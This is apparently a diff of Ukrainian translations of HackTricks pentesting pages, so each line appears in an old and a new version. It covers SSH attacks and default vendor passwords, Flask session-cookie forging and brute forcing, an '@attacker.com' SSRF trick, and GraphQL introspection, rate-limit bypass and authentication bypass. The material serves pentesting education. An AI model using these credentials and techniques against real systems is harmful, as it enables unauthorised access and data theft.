| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| **Постачальник** | **Імена користувачів** | **Паролі** |
| ---------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
@ -159,11 +159,11 @@ msf> use scanner/ssh/ssh_identify_pubkeys
- **Перенаправлення трафіку:** Зловмисник **відволікає** трафік жертви на свою машину, ефективно **перехоплюючи** спробу підключення до SSH-сервера.
- **Перехоплення та ведення журналу:** Машина зловмисника діє як **проксі**, **захоплюючи** дані для входу користувача, видаючи себе за легітимний SSH-сервер.
- **Виконання команд і реле:** Нарешті, сервер зловмисника **реєструє облікові дані користувача**, **пересилає команди** на реальний SSH-сервер, **виконує** їх і **надсилає результати назад** користувачу, роблячи процес безперервним і легітимним.
- **Виконання команд та реле:** Нарешті, сервер зловмисника **реєструє облікові дані користувача**, **пересилає команди** на реальний SSH-сервер, **виконує** їх і **надсилає результати назад** користувачу, роблячи процес безперервним і легітимним.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) робить саме те, що описано вище.
Щоб захопити фактичний MitM, ви можете використовувати такі техніки, як ARP-спуфінг, DNS-спуфінг або інші, описані в [**Атаках на мережеве спуфінг**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
Щоб захопити фактичний MitM, ви можете використовувати такі техніки, як ARP-спуфінг, DNS-спуфінг або інші, описані в [**Атаках на спуфінг мережі**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
## SSH-Snake
@ -189,7 +189,7 @@ SSH-Snake автоматично та рекурсивно виконує так
1. **Редагуйте файл конфігурації SSH** за допомогою: `sudoedit /etc/ssh/sshd_config`
2. **Змініть налаштування** з `#PermitRootLogin yes` на **`PermitRootLogin no`**.
3. **Перезавантажте конфігурацію** за допомогою: `sudo systemctl daemon-reload`
4. **Перезапустіть SSH-сервер**, щоб застосувати зміни: `sudo systemctl restart sshd`
4. **Перезапустіть SSH-сервер** для застосування змін: `sudo systemctl restart sshd`
### SFTP груба сила
@ -197,7 +197,7 @@ SSH-Snake автоматично та рекурсивно виконує так
### Виконання команд SFTP
Існує поширене недогляд, яке виникає з налаштуваннями SFTP, де адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення доступу до віддаленого терміналу. Незважаючи на те, що користувачі налаштовані з неінтерактивними оболонками (наприклад, `/usr/bin/nologin`) і обмежені до певного каталогу, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.
Існує загальне недогляд, яке виникає з налаштуваннями SFTP, де адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення доступу до віддаленого терміналу. Незважаючи на те, що користувачі налаштовані з неінтерактивними оболонками (наприклад, `/usr/bin/nologin`) і обмежені певною директорією, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.
[Приклад звідси](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -248,11 +248,11 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```bash
sftp> symlink / froot
```
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете переглянути кореневу ("/") папку системи.
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете перерахувати кореневу ("/") папку системи.
### Методи аутентифікації
У середовищах з високою безпекою звичайною практикою є увімкнення лише аутентифікації на основі ключів або двофакторної аутентифікації, а не простого фактору на основі пароля. Але часто більш надійні методи аутентифікації увімкнені без вимкнення слабших. Частим випадком є увімкнення `publickey` у конфігурації openSSH і встановлення його як методу за замовчуванням, але без вимкнення `password`. Таким чином, використовуючи режим детального виводу клієнта SSH, зловмисник може побачити, що увімкнено слабший метод:
У середовищах з високою безпекою звичайною практикою є увімкнення лише аутентифікації на основі ключів або двофакторної аутентифікації, а не простого пароля. Але часто більш сильні методи аутентифікації увімкнені без вимкнення слабших. Частим випадком є увімкнення `publickey` у конфігурації openSSH і встановлення його як методу за замовчуванням, але без вимкнення `password`. Таким чином, використовуючи режим детального виводу клієнта SSH, зловмисник може побачити, що увімкнено слабший метод:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -267,7 +267,7 @@ debug1: Next authentication method: password
```
Перегляд конфігурації сервера SSH є необхідним для перевірки, що лише очікувані методи авторизовані. Використання режиму детального виводу на клієнті може допомогти побачити ефективність конфігурації.
### Config files
### Конфігураційні файли
```bash
ssh_config
sshd_config

View File

@ -4,6 +4,8 @@
Перевірте цю сторінку, якщо ви хочете дізнатися більше про перерахування та зловживання Buckets:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -8,6 +8,8 @@ Firebase - це Backend-as-a-Service, в основному для мобіль
Дізнайтеся більше про Firebase за адресою:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -15,13 +15,15 @@ cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- Більше не існує
Тоді це переходить сюди:
Потім це переходить сюди:
![](<../../../images/image (793).png>)

View File

@ -24,7 +24,9 @@ echo "ImhlbGxvIg" | base64 -d
Інструмент командного рядка для отримання, декодування, брутфорсу та створення сесійних кукі Flask-додатку шляхом вгадування секретних ключів.
{% embed url="https://pypi.org/project/flask-unsign/" %}
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Командний рядок для брутфорсу вебсайтів, використовуючи куки, створені за допомогою flask-unsign.
{% embed url="https://github.com/Tagvi/ripsession" %}
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
@ -58,7 +62,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
## Flask проксі для SSRF
[**У цьому звіті**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) пояснюється, як Flask дозволяє запит, що починається з символу "@":
[**У цьому описі**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) пояснюється, як Flask дозволяє запит, що починається з символу "@":
```http
GET @/ HTTP/1.1
Host: target.com
@ -79,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Може дозволити ввести щось на кшталт "@attacker.com", щоб викликати **SSRF**.
Може дозволити ввести щось на зразок "@attacker.com", щоб викликати **SSRF**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Вступ
## Introduction
GraphQL **підкреслюється** як **ефективна альтернатива** REST API, пропонуючи спрощений підхід до запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через **один запит**. Це спрощення значно **вигідно для розробників**, зменшуючи складність їх процесів отримання даних.
GraphQL є **ефективною альтернативою** REST API, пропонуючи спрощений підхід до запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через **один запит**. Це спрощення значно **допомагає розробникам**, зменшуючи складність їх процесів отримання даних.
## GraphQL і безпека
## GraphQL та безпека
З появою нових технологій, включаючи GraphQL, також виникають нові вразливості безпеки. Ключовим моментом є те, що **GraphQL за замовчуванням не включає механізми аутентифікації**. Відповідальність за впровадження таких заходів безпеки лежить на розробниках. Без належної аутентифікації кінцеві точки GraphQL можуть розкривати чутливу інформацію неаутентифікованим користувачам, що становить значний ризик для безпеки.
@ -24,7 +23,7 @@ GraphQL є **ефективною альтернативою** REST API, про
- `/graphql/api`
- `/graphql/graphql`
Виявлення відкритих екземплярів GraphQL дозволяє перевірити підтримувані запити. Це є критично важливим для розуміння даних, доступних через кінцеву точку. Система інтроспекції GraphQL полегшує це, детально описуючи запити, які підтримує схема. Для отримання додаткової інформації про це зверніться до документації GraphQL з інтроспекції: [**GraphQL: Мова запитів для API.**](https://graphql.org/learn/introspection/)
Виявлення відкритих екземплярів GraphQL дозволяє перевірити підтримувані запити. Це важливо для розуміння даних, доступних через кінцеву точку. Система інтроспекції GraphQL полегшує це, детально описуючи запити, які підтримує схема. Для отримання додаткової інформації про це зверніться до документації GraphQL з інтроспекції: [**GraphQL: Мова запитів для API.**](https://graphql.org/learn/introspection/)
### Відбиток
@ -52,7 +51,7 @@ query={__schema{types{name,fields{name}}}}
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
Цим запитом ви можете витягти всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для того, щоб знати, як запитувати базу даних.
Цей запит дозволяє витягти всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для розуміння того, як запитувати базу даних.
![](<../../images/image (950).png>)
@ -159,11 +158,11 @@ name
}
}
```
Вбудований запит інспекції:
Вбудований запит на інспекцію:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
Останній рядок коду є запитом graphql, який виведе всю метаінформацію з graphql (імена об'єктів, параметри, типи...)
Останній рядок коду - це запит graphql, який виведе всю метаінформацію з graphql (імена об'єктів, параметри, типи...)
![](<../../images/image (363).png>)
@ -173,15 +172,15 @@ name
Тепер, коли ми знаємо, який тип інформації зберігається в базі даних, давайте спробуємо **витягти деякі значення**.
В інтроспекції ви можете знайти **який об'єкт ви можете безпосередньо запитувати** (оскільки ви не можете запитувати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "_queryType_" називається "_Query_", і що одне з полів об'єкта "_Query_" - це "_flags_", який також є типом об'єкта. Тому ви можете запитувати об'єкт прапора.
В інтроспекції ви можете знайти **який об'єкт ви можете безпосередньо запитувати** (оскільки ви не можете запитувати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "_queryType_" називається "_Query_", і що одне з полів об'єкта "_Query_" - це "_flags_", який також є типом об'єкта. Отже, ви можете запитати об'єкт прапора.
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
Зверніть увагу, що тип запиту "_flags_" - це "_Flags_", і цей об'єкт визначається як нижче:
Зверніть увагу, що тип запиту "_flags_" - це "_Flags_", і цей об'єкт визначається нижче:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
Ви можете бачити, що об'єкти "_Flags_" складаються з **name** та **value**. Тоді ви можете отримати всі імена та значення прапорів за допомогою запиту:
Ви можете побачити, що об'єкти "_Flags_" складаються з **name** та **value**. Тоді ви можете отримати всі імена та значення прапорців за допомогою запиту:
```javascript
query={flags{name, value}}
```
@ -194,7 +193,7 @@ query={flags{name, value}}
query = { hiddenFlags }
```
В іншому прикладі, де було 2 об'єкти всередині об'єкта типу "_Query_": "_user_" та "_users_".\
Якщо цим об'єктам не потрібні аргументи для пошуку, можна **отримати всю інформацію з них**, просто **попросивши** дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягти збережені імена користувачів та паролі:
Якщо цим об'єктам не потрібні аргументи для пошуку, можна **отримати всю інформацію з них**, просто **попросивши** дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягнути збережені імена користувачів та паролі:
![](<../../images/image (880).png>)
@ -212,7 +211,7 @@ query = { hiddenFlags }
![](<../../images/image (90).png>)
Зверніть увагу, що я **виявив**, що можу запитати **параметри** "_**user**_" та "_**password**_", тому що якщо я спробую шукати щось, що не існує (`query={user(uid:1){noExists}}`), я отримую цю помилку:
Зверніть увагу, що я **виявив**, що можу запитувати **параметри** "_**user**_" та "_**password**_", тому що якщо я спробую шукати щось, що не існує (`query={user(uid:1){noExists}}`), я отримую цю помилку:
![](<../../images/image (707).png>)
@ -290,7 +289,7 @@ name
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
У цій конфігурації **база даних** містить **осіб** та **фільми**. **Особи** ідентифікуються за їх **електронною поштою** та **іменем**; **фільми** за їх **назвою** та **рейтингу**. **Особи** можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.
У цій конфігурації **база даних** містить **осіб** та **фільми**. **Особи** ідентифікуються за їх **електронною поштою** та **іменем**; **фільми** за їх **іменем** та **рейтинговою оцінкою**. **Особи** можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.
Мутація для **створення нових** фільмів у базі даних може виглядати як наступна (у цьому прикладі мутація називається `addMovie`):
```javascript
@ -305,7 +304,7 @@ rating
```
**Зверніть увагу, як у запиті вказані як значення, так і тип даних.**
Крім того, база даних підтримує операцію **мутації**, названу `addPerson`, яка дозволяє створювати **осіб** разом з їх асоціаціями до існуючих **друзів** та **фільмів**. Важливо зазначити, що друзі та фільми повинні існувати в базі даних до того, як їх зв'язати з новоствореною особою.
Крім того, база даних підтримує операцію **мутації**, названу `addPerson`, яка дозволяє створювати **осіб** разом з їх асоціаціями до існуючих **друзів** та **фільмів**. Важливо зазначити, що друзі та фільми повинні існувати в базі даних до того, як їх зв'яжуть з новоствореною особою.
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@ -339,14 +338,14 @@ releaseYear
### Пакетний брутфорс в 1 API запиті
Ця інформація була взята з [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична атака брутфорсом, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетування GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, який намагається вгадати паролі.
Цю інформацію було взято з [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична атака брутфорсом, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетування GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, що намагається вгадати паролі.
Нижче ви можете знайти найпростіше демонстраційне запит на аутентифікацію програми, з **3 різними парами електронна пошта/пароль одночасно**. Очевидно, що можливо відправити тисячі в одному запиті таким же чином:
![](<../../images/image (1081).png>)
Як ми можемо бачити з скріншоту відповіді, перший і третій запити повернули _null_ і відобразили відповідну інформацію в секції _error_. **Другий мутаційний запит мав правильні дані аутентифікації** і відповідь містила правильний токен сесії аутентифікації.
Як видно з скріншоту відповіді, перший і третій запити повернули _null_ і відобразили відповідну інформацію в секції _error_. **Другий мутаційний запит містив правильні дані аутентифікації** і відповідь має правильний токен сесії аутентифікації.
![](<../../images/image (119) (1).png>)
@ -354,13 +353,13 @@ releaseYear
Все більше **graphql кінцевих точок відключають інспекцію**. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для інструментів, таких як [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), щоб відтворити більшу частину схеми.
Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, які проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, що проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Гарний **словник** для виявлення [**суб'єктів GraphQL можна знайти тут**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Обхід захисту інспекції GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні недоліки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але можуть не враховуватися в regex, обмеження можна обійти. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти:
Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні недоліки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але можуть не бути враховані в regex, обмеження можна обійти. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти:
```bash
# Example with newline to bypass
{
@ -398,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **Виявлення Відкритих Структур GraphQL**
Коли інспекція вимкнена, перевірка вихідного коду вебсайту на наявність попередньо завантажених запитів у бібліотеках JavaScript є корисною стратегією. Ці запити можна знайти за допомогою вкладки `Sources` у інструментах розробника, що надає інформацію про схему API та виявляє потенційно **відкриті чутливі запити**. Команди для пошуку в інструментах розробника такі:
Коли інспекція вимкнена, перевірка вихідного коду веб-сайту на наявність попередньо завантажених запитів у бібліотеках JavaScript є корисною стратегією. Ці запити можна знайти за допомогою вкладки `Sources` у інструментах розробника, що надає інформацію про схему API та виявляє потенційно **відкриті чутливі запити**. Команди для пошуку в інструментах розробника такі:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -426,7 +425,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Однак зверніть увагу, що нове значення за замовчуванням куки для прапора `samesite` у Chrome - `Lax`. Це означає, що куки будуть надсилатися лише з веб-сайту третьої сторони в GET-запитах.
Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET-запиті.
Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET-запиті.
Крім того, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/) **атака** може бути можливим ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача.
@ -434,7 +433,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
## Викрадення WebSocket між сайтами в GraphQL
Подібно до вразливостей CRSF, зловживаючи GraphQL, також можливо виконати **викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками** і змусити користувача виконувати неочікувані дії в GraphQL.
Подібно до вразливостей CRSF, зловживаючи graphQL, також можливо виконати **викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками** і змусити користувача виконувати несподівані дії в GraphQL.
Для отримання додаткової інформації перевірте:
@ -460,17 +459,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
[Зв'язування запитів](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) разом може обійти слабку систему аутентифікації.
У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, в даному випадку ми додаємо "register" і змінну користувача, щоб система зареєструвала його як нового користувача.
У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, у цьому випадку ми додаємо "register" і змінну користувача, щоб система зареєструвалася як новий користувач.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Обхід обмежень швидкості за допомогою псевдонімів у GraphQL
У GraphQL псевдоніми - це потужна функція, яка дозволяє **явно називати властивості** під час виконання запиту до API. Ця можливість особливо корисна для отримання **декількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.
У GraphQL псевдоніми є потужною функцією, яка дозволяє **явно називати властивості** під час виконання запиту до API. Ця можливість особливо корисна для отримання **декількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.
Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних запитах до API, було виявлено ненавмисне використання, де псевдоніми можуть бути використані для виконання атак методом грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам методом грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості.
Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних запитах до API, було виявлено ненавмисне використання, при якому псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості.
Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можуть бути використані для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки він компілює кілька запитів в один HTTP-запит, потенційно дозволяючи перевірити численні коди знижок одночасно.
```bash
@ -491,7 +490,7 @@ valid
### Перевантаження псевдонімів
